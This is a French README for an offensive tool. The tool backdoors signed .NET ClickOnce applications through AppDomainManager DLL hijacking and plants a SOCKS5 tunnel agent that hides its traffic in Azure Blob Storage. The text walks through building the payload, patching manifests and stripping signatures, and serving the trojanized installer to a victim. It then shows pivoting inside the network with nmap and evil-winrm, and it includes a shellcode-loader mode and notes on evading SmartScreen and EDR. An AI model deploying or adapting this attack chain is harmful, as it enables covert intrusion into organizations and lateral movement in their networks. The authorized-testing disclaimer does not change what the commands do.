
Armer les applications signées .NET ClickOnce pour un accès initial en détournant une DLL de dépendance via l'injection AppDomainManager et en chargeant un port C# de l'Agent ProxyBlob.

Armez des applications ClickOnce .NET signées pour un accès initial en détournant une DLL de dépendance via l'injection AppDomainManager et en chargeant un portage C# de l'agent ProxyBlob. Livré avec un portage C# de ProxyBlob — un proxy SOCKS5 qui tunnelise tout le trafic via Azure Blob Storage, se fondant dans les environnements où *.blob.core.windows.net est autorisé.
ClickOnce est la technologie de déploiement en un clic de Microsoft pour les applications .NET. Lorsqu'un utilisateur clique sur une URL .application, Windows télécharge et exécute l'application sans nécessiter de privilèges administrateur. L'attaque :
.exe.config qui indique au CLR de charger notre DLL en tant qu'AppDomainManagerL'.exe hôte reste intact et valablement signé. SmartScreen voit un binaire connu. L'EDR voit un processus de confiance charger des modules. Votre agent ne communique qu'avec Azure Blob Storage via HTTPS.
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
Attaquant (Linux/macOS) :
Machine de build (Windows) :
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (détection automatique)nuget.exe à côté du script ou ajoutez-le au PATH (nécessaire uniquement pour le mode --proxyblob)Le script détecte automatiquement csc.exe et nuget.exe. Pour --proxyblob, BouncyCastle et ILMerge sont automatiquement installés via NuGet lors du premier lancement dans un répertoire packages/ à côté du script (persiste entre les exécutions).
Le code de l'agent est neutre du point de vue de l'architecture (pas de P/Invoke, pas de shellcode). Le drapeau --platform (passé à csc.exe /platform:) contrôle la façon dont le CLR le charge :
Vérifiez une application cible avec corflags.exe TargetApp.exe pour déterminer sa plateforme.
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
Ou utilisez Azurite localement :
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
Dans le shell du proxy :
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Enregistrez cette chaîne de connexion — elle va dans l'agent.
Vérifiez toujours que l'agent fonctionne indépendamment avant l'intégration ClickOnce.
Sur la machine de build Windows :
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
De retour sur le proxy :
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
Test :
proxychains curl http://ipconfig.io
Si cela fonctionne, passez à l'intégration ClickOnce.
Trouvez une application ClickOnce cible pendant la reconnaissance (recherchez des URLs .application). Vous aurez besoin :
Téléchargez l'intégralité du déploiement ClickOnce :
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

Le script compile automatiquement le source C#, gère les dépendances NuGet (pour --proxyblob), fusionne BouncyCastle via ILMerge dans la DLL, et patch tous les manifestes — le tout en une seule exécution :

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

Le script gère : la génération du source C# avec vos paramètres intégrés, la compilation via csc.exe, la fusion ILMerge de BouncyCastle (pour --proxyblob), le remplacement de la DLL, la création du fichier .exe.config avec l'injection AppDomainManager, l'ajout des deux fichiers aux manifestes, le recalcul de tous les hachages SHA256 et des tailles de fichiers, la suppression des signatures de code, la mise à zéro du publicKeyToken du fournisseur et la mise à jour de l'URL du fournisseur de déploiement.
Remplacement manuel : Vous pouvez toujours utiliser --payload pour fournir une DLL pré-compilée (ignore la compilation) :
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ Piège du nom d'assembly ILMerge : ILMerge définit le nom d'assembly interne à partir du nom du fichier de sortie, pas de l'entrée. Si vous fusionnez vers
Foo_merged.dllpuis renommez le fichier enFoo.dll, le nom interne resteFoo_merged— le CLR lit les métadonnées, pas le nom de fichier. Le.exe.configne correspondra pas et l'injection AppDomainManager échoue silencieusement sans erreur. Le script gère cela correctement en fusionnant ILMerge directement avec le nom final.
# Built-in server with correct MIME types and cache headers
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

Ou utilisez n'importe quel serveur web avec ces types MIME configurés :
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
Envoyez à la victime : http://YOUR-SERVER/APPLICATION.application
Ils cliquent sur Installer → l'application s'exécute → votre tunnel SOCKS5 s'ouvre.

# On the proxy machine
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 on 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local



Videz entre les déploiements de test :
rundll32 dfshim CleanOnlineAppCache
Pour le débogage, utilisez d'abord ProxyBlobStandalone.cs — il écrit des logs détaillés sur stderr montrant les types de paquets, les événements de connexion et les erreurs. Une fois confirmé qu'il fonctionne, passez à ProxyBlobAgent.cs pour l'intégration ClickOnce.
L'agent est un portage fidèle de l'agent Go ProxyBlob. Trois bugs critiques ont été trouvés et corrigés lors du portage :
1. Ordre des octets UUID — Go stocke uuid.UUID sur 16 octets dans l'ordre RFC 4122 (big-endian). Le constructeur Guid de .NET échange les 3 premiers composants en little-endian, provoquant des incohérences de ConnectionID sur le fil. Corrigé en utilisant des tableaux byte[16] bruts.
2. XChaCha20-Poly1305 — Go utilise chacha20poly1305.NewX() = XChaCha20 avec des nonces de 24 octets. Le ChaCha20Poly1305 de BouncyCastle ne supporte que les nonces IETF de 12 octets. Corrigé en implémentant la dérivation de sous-clé HChaCha20 :
subkey = HChaCha20(key, nonce[0:16]) // ChaCha20 quarter-rounds on key+nonce
ietf_nonce = 0x00000000 || nonce[16:24] // Remaining 8 bytes become IETF nonce
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)
3. Padding Base64 — Go utilise base64.RawStdEncoding (pas de remplissage =). .NET nécessite un remplissage. Corrigé en ajoutant automatiquement le remplissage avant le décodage.
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)
Key Exchange:
Proxy → Agent: CmdNew [nonce:24][pubkey:32]
Agent → Proxy: CmdAck [agentPubkey:32]
Symmetric key: HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
Encryption: XChaCha20-Poly1305 on all CmdData payloads
Blob Transport:
info — username@hostname XOR 0xDEADB10B
request — proxy→agent (agent polls, reads, clears)
response — agent→proxy (agent writes, proxy reads, clears)
Polling: exponential backoff 50ms → 3s (×1.5)
*.blob.core.windows.net via HTTPS — se fond dans le trafic Azure légitime.exe hôte reste valablement signé — seules la DLL de dépendance et le .config sont modifiésAPPLICATION)Cet outil est destiné uniquement aux tests de sécurité et à la recherche autorisés. Ne l'utilisez que contre des systèmes pour lesquels vous avez une autorisation écrite explicite de tester.
--platform | Fonctionne sur Windows x86 | Fonctionne sur Windows x64 | Quand l'utiliser |
|---|
x86 (par défaut) | 32 bits | 32 bits (WoW64) | L'application cible est x86 |
x64 | ✗ | 64 bits | L'application cible est x64 |
anycpu | 32 bits | 64 bits | Tests autonomes ou cible AnyCPU |
| Erreur | Correctif |
|---|
csc.exe not found | Installez .NET Framework 4.x ou ajoutez csc.exe au PATH |
nuget.exe not found | Téléchargez depuis nuget.org, placez à côté du script ou ajoutez au PATH |
CS0012: type 'Object' ... netstandard | Ajoutez /r:netstandard.dll à la commande csc |
Metadata file ... net461 ... not found | Utilisez le chemin BouncyCastle netstandard2.0 |
| Symptôme | Cause | Correctif |
|---|
FileNotFoundException: BouncyCastle.Cryptography | DLL non intégrée | Utilisez ILMerge pour créer une DLL unique |
| AppDomainManager ne se charge pas après l'exécution ClickOnce | Incohérence du nom d'assembly interne | Le nom d'assembly doit correspondre au .exe.config. Vérifiez avec ildasm /text Dll.dll | findstr ".assembly" |
| L'agent se termine avec le code 3 | Chaîne de connexion invalide ou expirée | Régénérez avec create dans le proxy |
| L'installation ClickOnce échoue silencieusement | Incohérence de hachage du manifeste | Relancez le script d'automatisation ou recalculez manuellement les hachages SHA256 |
Erreur RefDefValidation lors de l'installation | Jeton de nom fort de DLL tiers mis à zéro | Le script met uniquement à zéro le jeton du fournisseur. Utilisez --dll-name pour définir le nom de la DLL de charge utile si nécessaire |